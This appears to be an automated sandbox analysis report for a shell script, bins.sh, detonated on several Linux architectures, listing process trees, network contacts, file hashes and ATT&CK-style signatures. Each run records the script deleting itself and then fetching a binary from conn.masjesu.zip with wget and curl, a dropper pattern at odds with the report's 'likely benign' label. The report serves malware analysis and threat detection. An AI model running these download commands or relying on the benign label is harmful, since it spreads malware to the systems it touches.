Analysis Overview
SHA256
d48a791f79ce65f71407a1ceeb21d49c644392c3c4d13b329334755a53ee96ad
Threat Level: Likely benign
The file bins.sh was found to be: Likely benign.
Malicious Activity Summary
Checks CPU configuration
System Network Configuration Discovery
Reads runtime system information
Writes file to tmp directory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 11:56
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 11:56
Reported
2024-11-25 11:58
Platform
ubuntu1804-amd64-20240611-en
Max time kernel
149s
Max time network
131s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| GB | 185.125.188.62:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| US | 151.101.193.91:443 | tcp | |
| US | 151.101.193.91:443 | tcp | |
| GB | 89.187.167.3:443 | tcp | |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| GB | 89.187.167.38:443 | 1527653184.rsc.cdn77.org | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 11:56
Reported
2024-11-25 11:58
Platform
debian9-armhf-20240418-en
Max time kernel
149s
Max time network
3s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 11:56
Reported
2024-11-25 11:58
Platform
debian9-mipsbe-20240611-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS | /usr/bin/wget | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
| MD5 | cd3d4b9c643e5b473fb4d88ed05f0716 |
| SHA1 | 64ee7a97418583d759eaea8000890cc3bae1b5f4 |
| SHA256 | 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944 |
| SHA512 | 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52 |
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 11:56
Reported
2024-11-25 11:58
Platform
debian9-mipsel-20240729-en
Max time kernel
150s
Max time network
150s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS | /usr/bin/wget | N/A |
Processes
/tmp/bins.sh
[/tmp/bins.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/mmb1HnxTDsnacGbEfipkfO4tHOYCepTXDS
| MD5 | cd3d4b9c643e5b473fb4d88ed05f0716 |
| SHA1 | 64ee7a97418583d759eaea8000890cc3bae1b5f4 |
| SHA256 | 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944 |
| SHA512 | 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52 |